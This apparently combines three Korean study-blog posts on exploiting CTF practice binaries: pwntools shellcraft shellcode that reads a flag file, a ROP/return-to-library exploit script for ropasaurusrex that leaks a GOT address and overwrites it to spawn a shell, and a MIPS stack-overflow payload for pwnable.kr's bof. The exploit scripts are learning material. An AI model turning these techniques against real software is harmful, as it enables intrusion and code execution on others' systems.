1. 시작전에...

이번에 HICON Training을 CodeByO와 같이 풀어보기로했습니다. 저는 짝수번을 맡기로 하였고, 풀이 내용을 블로깅 할 예정입니다.


pwntools의 shellcraft를 이용하면 각 아키텍쳐(x86, amd64, arm, mips, ...)에 맞는 쉘코드를 손쉽게 만들어 사용할 수 있습니다.

낮은 번호의 문제라서 그런지 어떤 지식이 필요했다기 보다는 shellcode를 만들 수 있는 지를 확인 하는 것 같았습니다. 사실 풀이랄 것도 별로 없어요ㅠ


2.  분석

먼저 file명령어를 이용해서 어떤 파일인지 살펴보니까 ELF 32bit실행파일입니다.



실행파일이니까 실행을 한번 해봅시다.


실행하면 "Give my your shellcode:" 가 프린트 되고, 입력을 받습니다.

hello 라고 입력을 했더니 세그먼트 폴트가 나고 말았네요.


ida를 이용해서 디컴파일을 해보면


간단하게 메인 함수가 있습니다. 살펴보면 위에서 직접 실행하면서 봤던 Give my... 문자열을 print해준 후에 shellcode에 입력 값을 200byte넣어 준 후 아래에서 실행 하는 것 같습니다.



gdb(peda)로 한번 열어보겠습니다.

main+41 ~ 53까지를 보면 0xc8, 0x804a060, 0x0을 차례대로 스택에 push한 후 read함수를 호출하고 있습니다. 0xc8은 10진수로 200으로

ida에서 본 read(0, &shellcode, 200u); 부분이 되겠네요. 그리고 main+61, 66을보면 0x804a060을 eax에 넣고 call eax를 하고 있습니다.


우리가 Give my... 이후에 입력한 값은 0x804a060에 저장이 되고 결과적으로 main+66에서 call하게 되는 것이지요



따라서 Give my.. 이후에 적당한 쉘코드를 넣어주면 그 쉘코드가 실행이 될 것으로 보입니다.

문제에서 의도한 것은 원래 서버에 있는 flag를 읽는 것이지만, 현재 HITCON Training의 서버가 죽은 것으로 보여 local 환경에서 테스트 해보기로 합시다.


3. exploit


============solv.py============

from pwn import *

p = process('./orw.bin')

context(arch='i386', os='linux')

shellcode = ''

shellcode += shellcraft.pushstr('flag')

shellcode += shellcraft.open('esp', 0, 0)

shellcode += shellcraft.read('eax', 'esp', 100)

shellcode += shellcraft.write(1, 'esp', 100)

#log.info(shellcode)

p.recvuntil('Give my your shellcode:')

p.send(asm(shellcode))

log.success(p.recvline())

==============================



우리에게 필요한 것은 32bit환경의 쉘코드가 필요하므로 arch는 i386, os는 리눅스로 컨텍스트를 설정해 주고 난 다음
쉘코드를 만들 내용을 shellcraft를 이용해서 만듭니다.

shellcode += shellcraft.pushstr('flag') #open함수의 인자로 사용하기 위해 파일명을 push

shellcode += shellcraft.open('esp', 0, 0) #스택 최 상단에는 파일명이 있으므로, esp를 이용해서 open함수를 call

shellcode += shellcraft.read('eax', 'esp', 100) #open함수 호출 후 eax에 fd가 반환되므로 해당 fd에서 100byte만큼 읽어서 esp에 저장

shellcode += shellcraft.write(1, 'esp', 100) #write함수의 fd에 표준출력을 주어서 파일 내용을 출력




local에서 테스트하기 위해 생한 flag파일이 정상적으로 읽혀 출력되는 것을 확인 할 수 있습니다.



[추가] pwnable.kr 의 Toddler`s Bottle에 있는 asm문제가 유사하니 풀어보시는 것을 추천드립니다.


'Study > Pwnable' 카테고리의 다른 글

[HITCON Training] lab6 / Stack migration, Stack pivoting  (0) 2017.12.15
[HITCON Training] lab4 / return to library  (0) 2017.11.29
NX(No eXcutable) / ROP  (1) 2017.09.29
pwnable.kr / input / pwntools  (0) 2017.08.01
pwnable.kr passcode  (5) 2017.07.31

1. 시작전에..


기초적인 오버플로우를 이용하여 exploit 하는 것은 여러 메모리 기법에 의해 성공시키기 어렵습니다. 

이 때문에 ROP라는 기법을 통해서 exploit을 시도하는데요. 이번에 저도 말로만 들어왔던 ROP에 대해서 한번 알아보았습니다.

제가 참고했던 링크는 https://bpsecblog.wordpress.com/2016/03/12/pctf2013_ropasaurusrex/ 이 곳의 글을 주로 참고하였고,

사용했던 바이너리는 위 글에서 사용한 예제와 같이 2013년 plaidCTF에서 출제되었던 ropasaurusrex바이너리를 사용하였습니다.



2. 용어


먼저, 이 문제를 풀이하며 필요한 용어와 아이디어를 풀어봅시다!


2-1. NX(No eXecutable)

NX는 위에서 언급했던 메모리 기법 중 하나인데요, 메모리 페이지의 권한을 write권한과 excutable권한을 동시에 갖지 않도록 설정하는 방법입니다.


좀 더 설명을 하자면, 예를 들어 설명하자면 80짜리 버퍼가 있고, 오버플로우를 이용해서 버퍼(스택 공간)에 쉘코드 및 \x90으로 80만큼 채운 후 4바이트 sfp를 덮고, RET자리에 쉘코드 시작 주소를 넣는다고 가정해봅시다.


위의 그림과 같이 가정한대로 오버플로우를 이용해 RET주소를 쉘코드 시작주소로 덮어써주었습니다.

리턴주소가 쉘코드 시작주소로 덮어 써졌으므로 쉘코드가 실행되어 exploit이 가능하겠지요?


여기에 NX가 설정이 되어 있으면, 스택공간에 있는 저 쉘코드에 실행권한이 없어서 RET를 주소로 덮어써주어도!

실행권한이 없기 때문에 실행이 되지 않아 exploit이 불가하다 이런 개념입니다.


2-2) ROP(Return Oriented Programming)

현재 수행 중인 프로그램 코드 안에 존재하는 서브루틴이 리턴 명령어에 닿기 전에 선별된 기계 명령어 또는 기계 명령어 덩어리를 간접적으로 실행시키기 위해 콜스택의 제어를 통제하는 기술, 실행되는 모든 명령어들이 원래 프로그램 안에 존재하는 실행 가능한 메모리 영역에서 추출한 것들이기 때문에 실행가능하다!


[참조] http://shayete.tistory.com/entry/6-Return-Oriented-Programming


위에 써드린 참조 주소에 설명이 매우 잘되어있어요.. 심지어 영상 강의까지 있으니 도움이 많이 되실 듯 합니다.


참고로, 위에서 말한 선별된 기계 명령어 또는 기계 명령어 덩어리를 "가젯(gadget)"이라고 부릅니다.

사실 위에 설명만으로는 너무 추상적인 이야기이기 때문에 감이 잘 안오실껀데..(전 그랬거든요) 직접 어떻게 페이로드가 구성되는 지 보시면 바로 감이 올꺼에요


2-3) RTL Chain(Return To Library Chain)

함수가 호출 되는 과정을 살펴봅시다.

1. 함수 호출 전 스택에 차곡차곡 파라미터들을 push합니다. 

2. 다음 실행 명령어를 스택에 push한 후 해당 함수 주소로 jmp합니다.

3. 스택프레임을 구성하고 함수가 실행됩니다.

4. pop eip를 통해 다음 명령어 주소를 복구하여 다음을 진행합니다.


예를 들어 리턴 주소들(함수 주소들)이 차곡차곡 쌓여있는 아래와 같은 스택이 있다고 생각해봅시다.

"각 함수들이 아무 arguments를 받지 않는다"라고 가정한다면, 해당 스택을 가진 함수가 끝나고나면 RET1의 주소에 있는 함수를 호출 하게 되겠죠?

그리고 그 함수가 끝나고 나면 RET2의 주소에 있는 함수를 호출하게 될거에요, 그리고 그다음엔 RET3...

이렇게 호출하게 되는 이유는 함수 호출 전 다음 실행되는 명령어의 주소가 미리 push되어 있다는 가정하에 pop eip명령어를 통해 프로그램의 흐름을 제어 하기 때문에 이루어지게됩니다. 물론 실제로는 이렇게 구성되는 경우는 없다고 볼 수 있겠지만, 오버플로우가 가능한 상황에 우리가 임의로 이런 스택구조를 만들 수 있습니다.


그렇다면, 이런 스택 구조도 생각해 볼 수 있을거에요

RET1의 주소에 있는 함수가 하나의 argument를 전달받아야 한다면, 위와 같은 방식으로 arg1A값을 넣어서 전달 할 수 있어요,

마찬가지로 RET2의 주소에 있는 함수에 두 개의 arguments를 전달 할 수 있죠, 다만 차이가 있다면 argumnets와 RET주소 사이에 pop을 보셔야합니다.

argument들을 사용하기위해 스택에 쌓았지만 프로그램 흐름을 제어하기 위해서는 RET2를 pop하기 전에 스택에서 사라져 줘야한다는 것이지요

그렇게 하기 위해서 각 각 갯수에 맞추어 pop한 개, pop두 개가 실행 되는 "가젯"들이 필요한거에요.


한 셋트씩 뜯어서 보자면, RET주소 + arguments갯수만큼의 pop + ret하는 가젯의 주소 + arguments 이렇게 한 셋트로 묶어서 생각하시면 됩니다.

이러한 것들을 엮어서 만든 것이 chain 형태처럼 보이나요?


이 "가젯"들은 프로그램 안에 존재하는 것들을 찾아서 써야하고, 이런 가젯들을 찾기위해 여러가지 툴이 있습니다만, 저는 rp를 사용했습니다.

rp : https://github.com/0vercl0k/rp/downloads


RTL은 Return To Library로, 일반적으로 프로그램에서 사용하는 라이브러리안에 있는 함수를 리턴하여 공격하는 방식입니다.

가령 공격할 바이너리에 system함수가 없어도 기본적으로 사용하는 라이브러리안에 system함수가 있기때문에 이 주소를 찾아서 위의 체인안에 주소를 넣어주는 식으로 공격할 수 있습니다.


다만, ASLR(Address Space Layout Randomization)기법이 적용되어있다면 함수들의 주소가 실행 할 때마다 유동적으로 바뀌기 때문에 이 주소를 찾아줘야하는 수고가 필요 할 수 있습니다.


 

3. 분석

실제 예제를 분석해보면서 위에서 살펴본 개념들을 구체화해봅시다.



먼저 바이너리가 어떤상태인지 살펴보니까, elf 32bit바이너리네요. 동적링킹되어있고요.



실행하니까 입력을 받고 그냥 WIN이라는 문자열을 출력하고 끝내네요??



gdb로 열어서 main을 까보려고하니까 심볼테이블이 로드되지 않았다고하네요..

사실 저는 여기서부터 어떻게해야하나 막막했는데, 이럴땐 main의 주소를 알아내서 시작할 수 있습니다. IDA로 열어보면!



main을 찾을수 있죠? 그리고 옆엔 주소를 알수 있자나여?? 이 주소로 gdb로 까보면 까볼 수 있다 이겁니다.



짠! 요렇게요. 기왕 IDA로 열어봤으니까 짱짱좋은 hex-ray가지고 분석을 좀더 해보자고여.


디스어셈블했을 때도 알 수 있는 있지만, main은 별게 없어요. 어떤 함수 하나를 호출 한 다음에 그저 WIN이라는 문자열을 write함수를 통해

출력해줄 뿐이죠.


원래 저 함수는 임의의 문자열로 되어있는데 저는 분석하기 편하도록 vulnFunc라는 이름으로 수정해주었습니다.

그럼 vulnFunc함수를 볼까요?


 

첫 번째 라인에서 char buf; // [sp+10h] [bp-88h]@1 로 버퍼의 사이즈가 스택에 0x88만큼 할당이 되고 있는 것을 알 수 있고,

두 번째 라인에서 return read(0, &buf, 0x100u); , read함수를 통해 표준입력으로 0x100만큼 입력을 받고 있는 것을 볼 수 있죠?

여기서 BOF를 이용해 스택을 조작할 수 있겠습니다.


0x88은 십진수로 136이잖아요? 그렇다면 vulnfunc함수 안에서 스택의 모양은 아래 처럼 예상해 볼 수 있을 거에요


우린 여기서 RET를 덮어서 RTL Chain을 엮어가지고 exploit을 할꺼잖아요? 구체적으로 어떻게 하면 좋을 지, 거기엔 무엇이 필요한 지 한번

봅시다.


우선, 우리가 호출하고 싶은 건 system("/bin/sh"); 잖아요?

"/bin/sh" 문자열은 프로그램 내에 없을 테니까 이 문자열을 어딘가에 임의로 써주어야겠죠?


그리고 system()의 주소가 필요하죠. 여기서는 서버에 aslr환경이 적용되어있다고 가정 하여 실행 시 주소가 매번 변경된다고 가정하겠습니다.

즉, 그냥 system()의 주소가 필요한 것이 아니라 바이너리를 실행할 당시의 system()주소가 필요합니다.


근데 프로그램 내부에서는 system함수를 쓰고있지 않기 때문에 프로그램에서 사용하는 read함수 주소(got주소)를 얻어내서 offset을 계산 한 후

이 offset을 이용해서 system함수의 주소(got주소)를 읽어와야합니다.


got에 대한 내용은 아래를 참조해주세요.


PLT와 GOT자세히 알기-1

https://bpsecblog.wordpress.com/2016/03/07/about_got_plt_1/


PLT와 GOT자세히 알기-2

https://bpsecblog.wordpress.com/2016/03/09/about_got_plt_2/


메모리에서 어떤 값을 써주어야하고, 읽어와야하기 때문에 read, write함수를 써야할거에여. read, write를 호출하려면 read, write의 plt주소를 알아와야해요. 알아온 주소로 chain을 구성할 수 있을거에요. 


read와 write는 모두 인자를 3개를 받고 있기 때문에, pop pop pop ret; 형태의 가젯의 주소 또한 필요하겠네요!


read / write를 연달아 호출하는 RTL Chain은 아래와 비슷한 형태가 되겠지요


그렇다면 결론적으로 필요한 것이 어떤 것들이 있는 지 정리를 해보고 필요한 것들을 모아봅시다.


1. read / write의 plt

2. pop을 세 번한 후 ret하는 가젯

3. 프로그램 실행 당시의 system함수의 got

4. 메모리에 "/bin/sh" 문자열을 써야함



익스플로잇 코드는 pwntools모듈을 통해 짜볼껀데, 여기에 plt와 got를 한방에 알아내는 아주 좋은 기능이 있으니 1번은 생략합시다.

가젯은 위에서 얘기한데로 rp를 이용해서 찾아볼거에여

rp -f [file path] -r [gadget`s maximun size] 로 사용할 수 있으니, 우리는


rp -f ./ropasaurusrex -r 4 로 실행을 해보면!!


결과 중 빨간 네모칸에 보이는 저 가젯을 찾을 수 있습니다. 


전 처음에 이 가젯을 보고 ebp값을 건드리기 때문에 스택프레임이 깨지면서 segfault가 나지 않을까 고민을 곰곰히 해봤는데, 어차피 chain을 통해 계속 스택프레임이 재구성되기 때문에 문제가 없을 거라는 결론을 내렸고 실제로도 이상이 없었어요.


자자 그럼 가젯도 모았고, 이제 프로그램 실행 당시의 system함수의 got는 어찌 구하느냐!

요건 미리 돌려보고 기준점을 삼을 함수를 하나 선정해서 offset을 계산해야해요, 전 read의 got를 기준으로 잡았고 이것으로 offset을 계산을 할거에요.



※프로그램을 실행해야 테이블이 로드되면서 주소를 알 수 있어요. 적당한 곳에 브레이크 포인트를 잡고 실행 한 후 찾아주세요.


빨간 네모친 부분에 read / system 함수의 got주소가 있죠? offset은 0xf7ec4c60(read) - 0xf7e28b40(system) = 0x9c120 이 되겠네요!

마지막으로 system함수의 인자로 필요한 "/bin/sh"문자열을 쓰는건 RTL Chain을 이용해서 쓰도록 해야할텐데, 기본적으로 data나 bss영역에 쓴다고 하던데.. 



위에 그림은 objdump - x ./ropasaurusrex  로 섹션정보를 출력한거에요.


첫 번째로 나오는 놈이 사이즈인데 23. data섹션과 24. bss섹션은 8바이트밖에 안되져 ㅠㅠ 너무작아서 쓰기 힘들 것 같습니다. 

20. dynamic 섹션은 다이나믹 링킹과정에 필요한 섹션이라고 하는데.. 여기서는 건드려도 무방하다고만 알고있어요... elf구조는 아직 뜯어보지 못하여서 잘모르겠습니다.


어쨌든! dynamic 섹션에 쓰면 될 거 같고, 요 섹션의 주소 또한 pwntools에서 쉽게 얻어낼 수 있습니다.


그럼 이제 어떻게 익스플로잇을 하는 지 코드를 한번 볼까요?


4. exploit

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
from pwn import *
proc = process('/root/workspace/system_hack/challenge/ropasaurusrex/ropasaurusrex')
= ELF('/root/workspace/system_hack/challenge/ropasaurusrex/ropasaurusrex')
 
binsh = "/bin/sh"
 
#puzzle pieces
log.info("found address of .dynamic section : %s" % hex(e.get_section_by_name(".dynamic").header.sh_addr))
ds_section = e.get_section_by_name(".dynamic").header.sh_addr
 
log.info("found address of read plt : %s" % hex(e.plt["read"]))
read_plt = e.plt["read"]
 
log.info("found address of read got : %s" % hex(e.got["read"]))
read_got = e.got["read"]
 
log.info("found address of write plt : %s" % hex(e.plt["write"]))
write_plt = e.plt["write"]
 
log.info("found address of write got : %s" % hex(e.got["write"]))
write_got = e.got["write"]
 
#real address of read func - real address of system func
offset = 0x9c120
 
#080484b6: pop esi ; pop edi ; pop ebp ; ret  ;  (1 found)
pppr = 0x080484b6
 
#payload
#step 1. writing /bin/sh in .dynamic section
payload  = "\x90"*140
payload += p32(read_plt)
payload += p32(pppr)
payload += p32(0)   #stdin
payload += p32(ds_section)
payload += p32(len(binsh))
 
#step 2. reading address of read`s got
payload += p32(write_plt)
payload += p32(pppr)
payload += p32(1)   #stdout
payload += p32(read_got)
payload += p32(len(str(read_got)))
 
#step 3. overwrite read got to system func
payload += p32(read_plt)
payload += p32(pppr)
payload += p32(0)   #stdin
payload += p32(read_got)
payload += p32(len(str(read_got)))
 
#step 4. call system function
payload += p32(read_plt)
payload += p32(0xaaaabbbb)
payload += p32(ds_section)
 
proc.send(payload + "\n")
proc.send(binsh)
 
read_address = proc.recv(4)
system_address = u32(read_address) - offset
 
log.info("read address   = %x" % u32(read_address))
log.info("system address = %x" % system_address)
 
proc.send(p32(system_address))
 
log.info("Exploit is Success!!")
proc.interactive()



항상 그래왔듯이 결과부터 보자구여!

proc = process('/root/workspace/system_hack/challenge/ropasaurusrex/ropasaurusrex')

이 줄은 바이너리를 실행 해서 프로세스를 생성하는 줄이에요


= ELF('/root/workspace/system_hack/challenge/ropasaurusrex/ropasaurusrex')

해당 파일을 elf format으로 읽어주는 줄이고,


#puzzle pieces
log.info("found address of .dynamic section : %s" % hex(e.get_section_by_name(".dynamic").header.sh_addr))
ds_section = e.get_section_by_name(".dynamic").header.sh_addr
 
log.info("found address of read plt : %s" % hex(e.plt["read"]))
read_plt = e.plt["read"]
 
log.info("found address of read got : %s" % hex(e.got["read"]))
read_got = e.got["read"]
 
log.info("found address of write plt : %s" % hex(e.plt["write"]))
write_plt = e.plt["write"]
 
log.info("found address of write got : %s" % hex(e.got["write"]))
write_got = e.got["write"]


이 부분에서 pwntools의 파워풀함을 알 수 있죠, 위처럼 elf로 파일을 읽으면 각 섹션주소와 plt와 got의 주소를 한방에 알아낼 수 있습니다.

그 아래에서는 우리가 찾아낸 offset과 가젯의 주소를 선언해 주었습니다.


페이로드가 만들어지는 부분을 살펴볼까요?


#step 1. writing /bin/sh in .dynamic section
payload  = "\x90"*140
payload += p32(read_plt)
payload += p32(pppr)
payload += p32(0)   #stdin
payload += p32(ds_section)
payload += p32(len(binsh))


스텝 1에서는 read 함수를 이용해서 "/bin/sh"문자열을 .dynamic section에 써주는 부분이에요, 먼저 BOF를 내기위해 더미 140바이트(buf size(0x88, 136) + sfp(4))를 써주었고,

리턴 주소를 read의 plt로 덮어주어서 read함수를 호출했어요, 그리고 인자정리를 위한 pppr을 넣어주고 "/bin/sh"를 입력해주기 위해 stdin의 fd인 0을 넣어주었습니다.

그리고 ds_section의 주소를 넣어주고, "/bin/sh"문자열의 length를 넣어주었죠


#step 2. reading address of read`s got

payload += p32(write_plt)
payload += p32(pppr)
payload += p32(1)   #stdout
payload += p32(read_got)
payload += p32(len(str(read_got)))


스텝 2에서는 같은 형식으로 표준 출력으로 read의 got주소를 출력해주게 했어요 프로그램 실행당시의 주소를 알아야하기때문에 이렇게 알아낸거죠 


※위처럼 표준 입출력을 통해 프로세스와 인터렉션하는 부분은 아래에 나와요, 페이로드에서는 인터렉션을 하기 위한 구조(?)를 만든다고 생각하시면 됩니다.


#step 3. overwrite read got to system func
payload += p32(read_plt)
payload += p32(pppr)
payload += p32(0)   #stdin
payload += p32(read_got)
payload += p32(len(str(read_got)))


스텝 3에서는 스텝 2에서 알아낸 read함수의 got주소를 가지고 offset으로 계산한 후 전달한 system함수의 got주소를 read함수의 got에 덮어쓰는 부분이에요, 덮어 쓴다음에 read함수를 호출하면 system함수가 호출되게 하기 위해서에요


#step 4. call system function
payload += p32(read_plt)
payload += p32(0xaaaabbbb)
payload += p32(ds_section)


스텝 4에서는 read함수를 호출하는데, 인자로 ds_section의 주소 즉, "/bin/sh"를 전달해요, 인자 전달전에 중간에 더미로 0xaaaabbbb를 전달해서 구조를 맞춰 줍니다.



5. 결과


이제야 ROP가 뭔지 개념정도는 알게 된거 같네요, 익숙해지도록 다른 문제들도 열심히 풀어봐야겠습니다!

'Study > Pwnable' 카테고리의 다른 글

[HITCON Training] lab4 / return to library  (0) 2017.11.29
[HITCON Training] lab2 / shellcraft  (0) 2017.11.28
pwnable.kr / input / pwntools  (0) 2017.08.01
pwnable.kr passcode  (5) 2017.07.31
PEDA / pwnable.kr bof문제  (0) 2017.07.12

원래 이번 포스팅 계획은 if분기문만 다뤄보려구했지만 욕심이 조금 생겨서 내친김에 BOF까지 도전해봤습니다.

pwnable.kr의 Toddler`s bottle bof문제 소스 그대로 사용했습니다. 다만 mips에서 컴파일하고 분석했을뿐!

분석하면서 크게 어려움을 겪어던 점은 없었으니, 보시는 분들도 수월하리라 생각합니다.

한가지 다른점이 있다면 x86에서는 리틀엔디안이였지만, mips에서는 빅엔디안이라는 사실이구요,


자세한 곳은 이곳을 참조하시기 바랍니다.

[참조] http://javawoo.tistory.com/27


1. C 소스

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
#include <stdio.h>
 
void func(int key){
        char overflowme[32];
        printf("overflow me : ");
        gets(overflowme);
 
        if(key == 0xcafebabe){
                printf("Overflow Success!\n");
        }
        else{
                printf("Nah.. Overflow Fail :(\n");
        }
}
 
 
int main(int argc, char *argv[]){
 
        func(0xdeadbeef);
 
        return 0;
}



우선, 이 포스팅은 mips에 대한 내용을 기록하기 위함이며 해당 문제에 대한 풀이는 전에 포스팅한 적이 있으므로

BOF에 대해서는 자세히 풀이하지 않겠습니다. BOF에 대한 것을 알고 싶으시다면 아래 링크를 참조해주세요.


http://bachs.tistory.com/entry/PEDA-pwnablekr-bof%EB%AC%B8%EC%A0%9C


음,, 우선 소스는 별 것이 없습니다.

main함수에서 func라는 함수에 0xdeadbeef 값을 input으로 넣어주는데, 이 값을 func내에서

0xcafebabe라는 값과 비교한 후, BOF가 성공했는 지 실패했는 지 보여주는 코드입니다.


func함수 내부에 존재하는 oveflowme[32] 변수를 이용하여 BOF하면 될 것 같아요.


2. Disassemble Code

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
Dump of assembler code for function main:
   0x0040072c <+0>:  addiu sp,sp,-32
   0x00400730 <+4>:  sw ra,28(sp)
   0x00400734 <+8>:  sw s8,24(sp)
   0x00400738 <+12>: move  s8,sp
   0x0040073c <+16>: sw a0,32(s8)
   0x00400740 <+20>: sw a1,36(s8)
   0x00400744 <+24>: lui   v0,0xdead
   0x00400748 <+28>: ori   a0,v0,0xbeef
   0x0040074c <+32>: jal   0x4006a0 <func>
   0x00400750 <+36>: move  at,at
   0x00400754 <+40>: move  v0,zero
   0x00400758 <+44>: move  sp,s8
   0x0040075c <+48>: lw ra,28(sp)
   0x00400760 <+52>: lw s8,24(sp)
   0x00400764 <+56>: addiu sp,sp,32
   0x00400768 <+60>: jr ra
   0x0040076c <+64>: move  at,at
End of assembler dump.



한번에 보려면 빡세니까 크게크게 main을 먼저 살펴보고, 실제 오버플로우를 발생시킬 func함수를 살펴봅시다.


2-1. main함수

위의 다섯 번째 줄까지는 지난 포스팅에서 살펴봤듯이 함수 프레임을 준비하는 작업을 하고 있습니다.

스택의 크기를 늘려주고, 현재 프레임 포인터를 백업하고 현재 프레임포인터 값을 스택포인터값으로 바꿔주는 작업이지요


a0 부터 a3까지의 레지스터들은 서브루틴 콜의 파라미터로 사용하기 위한 레지스터였습니다.

현재 까지는 a0 ~ a3레지스터에 접근 한 적이 없으니, 현재는 main의 파라미터들인 argc와 argv가 셋팅이 되어 있을 것으로 생각이 됩니다.



짜잔 하고 직접 찍어보니 욥! 예상대로 argc와 argv가 셋팅이 되어있네요,


lui는 지난 포스팅에서 소개했던 대로 타겟 레지스터의 상위 2바이트에 값을 넣는다고 했습니다.

lui v0, 0xdead 

=> v0 = 0xdead0000 의 상태가 될꺼에요


ori는 처음보니까 한번 찾아볼까요?

ori(OR Immediate) 타겟 레지스터에 OR연산을 해서 값을 넣어주는 명령어네요, 

a0 = v0 | 0x0000beef 

=> a0 = 0xdead0000 OR 0x0000beef 

=> a0 = 0xdeadbeef

이렇게 해서 a0에 func함수의 인자인 0xdeadbeef의 값이 저장된 것을 알 수 있습니다.

그 이후 func 함수를 호출하고 스택프레임 해제 후 프로그램이 종료되고 있습니다.


2-2. func 함수

이제 실제로 우리가 살펴봐야할 overflow를 내야하는 func함수를 본격적으로 살펴보도록 하겠습니다.


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
Dump of assembler code for function func:
   0x004006a0 <+0>:   addiu sp,sp,-64
   0x004006a4 <+4>:   sw ra,60(sp)
   0x004006a8 <+8>:   sw s8,56(sp)
   0x004006ac <+12>:  move  s8,sp
   0x004006b0 <+16>:  sw a0,64(s8)
   0x004006b4 <+20>:  lui   v0,0x40
   0x004006b8 <+24>:  addiu v0,v0,2304
   0x004006bc <+28>:  move  a0,v0
   0x004006c0 <+32>:  jal   0x400540 <printf@plt>
   0x004006c4 <+36>:  move  at,at
   0x004006c8 <+40>:  addiu v0,s8,24
   0x004006cc <+44>:  move  a0,v0
   0x004006d0 <+48>:  jal   0x400550 <gets@plt>
   0x004006d4 <+52>:  move  at,at
   0x004006d8 <+56>:  lw v1,64(s8)
   0x004006dc <+60>:  lui   v0,0xcafe
   0x004006e0 <+64>:  ori   v0,v0,0xbabe
   0x004006e4 <+68>:  bne   v1,v0,0x400704 <func+100>
   0x004006e8 <+72>:  move  at,at
   0x004006ec <+76>:  lui   v0,0x40
   0x004006f0 <+80>:  addiu a0,v0,2320
   0x004006f4 <+84>:  jal   0x400560 <puts@plt>
   0x004006f8 <+88>:  move  at,at
   0x004006fc <+92>:  j  0x400714 <func+116>
   0x00400700 <+96>:  move  at,at
   0x00400704 <+100>: lui   v0,0x40
   0x00400708 <+104>:   addiu a0,v0,2340
   0x0040070c <+108>:   jal   0x400560 <puts@plt>
   0x00400710 <+112>:   move  at,at
   0x00400714 <+116>:   move  sp,s8
   0x00400718 <+120>:   lw ra,60(sp)
   0x0040071c <+124>:   lw s8,56(sp)
   0x00400720 <+128>:   addiu sp,sp,64
   0x00400724 <+132>:   jr ra
   0x00400728 <+136>:   move  at,at
End of assembler dump.



중점적으로 봐야할 곳은 overflowme변수가 스택에서 어디에 위치하고 있는지?
그리고 함수의 input인 0xdeadbeef는 어디에 위치하고 있는지?
그래서 두 값간의 주소 차가 얼마나 나는지? 를 파악해야 오버플로우를 내면서 분기를 조작할 수 있을 거에요.

앞서 여러 번 살펴봤던 스택프레임을 구성하는 부분은 생략하고, 빠르게 살펴보겠습니다.
우선 overflowme변수의 위치부터 확인해보겠습니다.

C소스에서 gets함수를 통해 overflowme변수에 값을 넣었다는 것 기억나시나요?
mips에서는 함수 파라미터를 정해주기 위해 a0 ~ a3까지 사용했고, gets함수는 overflowme 변수 하나만을 파라미터로 받았으니
gets함수 콜 전에 a0에 어떤 값이 셋팅되고 있는 지를 살펴보면 overflowme를 추적해볼 수 있습니다.

12번 째 라인을 보면, 
addiu v0, s8, 24 
=> v0 = s8+24 
=> v0 = 베이스 포인터 + 24 한 곳의 값을 저장

13번 째 라인에서는 
move a0, v0
=> a0 = v0

14번 째 라인에서 gets를 호출하고 있습니다.

12 ~ 14라인 까지 살펴 본 결과 overflowme변수는 s8+24에 있는 것으로 보입니다. 직접 확인을 해보면!
 


저는 input 값을 AAAAA로 넣어주고 실행을 하였고, 결과적으로 제대로 분석했음을 알 수 있습니다.


gets함수 실행 후 16라인부터 다시 봅시다요

lw v1, 64(s8)

=> v1 = s8+64

=> v1에 s8+64값을 저장한 후


main에서 0xdeadbeef를 저장했던 똑같은 패턴으로 v0에 0xcafebabe를 저장했습니다.

그리고


19번째 라인에서

bne v1, v0, 0x400704


bne(branch on not equal) : 값을 비교해서 두 값이 같지 않으면 해당 주소로 점프를 뛰라는 명령어 입니다.

오호, 그럼 C소스에서 if( key == 0xcafebabe ) 이 분기를 뜻하는 것이겠네요.

그렇다면 분석한 정황상 s8+64에 함수의 input인 0xdeadbeef가 있다는 뜻??


정답! 그럼 이제 풀어낼 수 있을 것같아요.

overflowme와 함수 input과의 거리는 40만큼 나고 있기 때문에 40개의 dummy + 0xcafebabe를 넣어주면 뙇 하고 풀리겠네요.



3. exploit

사실 (python -c 'print "\x90"*40+"\xca\xfe\xba\xbe"') | ./bof 라고만 해도 풀리지만, pwntools모듈을 리마인드 하기위해서

pwntools로 풀어봤습니다.


1
2
3
4
5
6
7
8
9
10
11
12
13
from pwn import *
 
= ssh(host='192.168.234.138', user='root', password='root', port=22)
= s.run('./prac/bof/bof')
data = p.recvuntil('overflow me : ')
print data 
 
payload = '\x90'*40 + '\xca\xfe\xba\xbe'
 
p.sendline(payload)
data = p.recvline()
 
print data 



어려운 코드는 없으시지요?

ssh 커넥션을 맺은 후 bof파일을 실행해 프로세스를 생성해서

overflowme : 라는 응답을 받으면


우리가 분석해서 만들어 낸 페이로드를 날려주면 끝입니다.

맨 처음 앞서 말씀 드렸다 시피 mips는 빅엔디안이기 때문에, \xbe\xba\xfe\xca의 형태가 아니라

\xca\xfe\xba\xbe로 우리가 보는 대로 값을 넣어주었습니다.


실행 결과는 위 사진처럼 아주 깔끔하게 해결되었습니다!


다음 포스팅은 반복문과 관련해서 하도록 하고.. 추후에 실제 프로그램들을 뜯어볼 지, 어떻게 할지는 정해봐야겠습니다. 



'Study > IoT' 카테고리의 다른 글

MIPS 리버싱 기초-1(hello world)  (2) 2017.09.13
firmware 분석 환경 구축하기  (11) 2017.09.06

+ Recent posts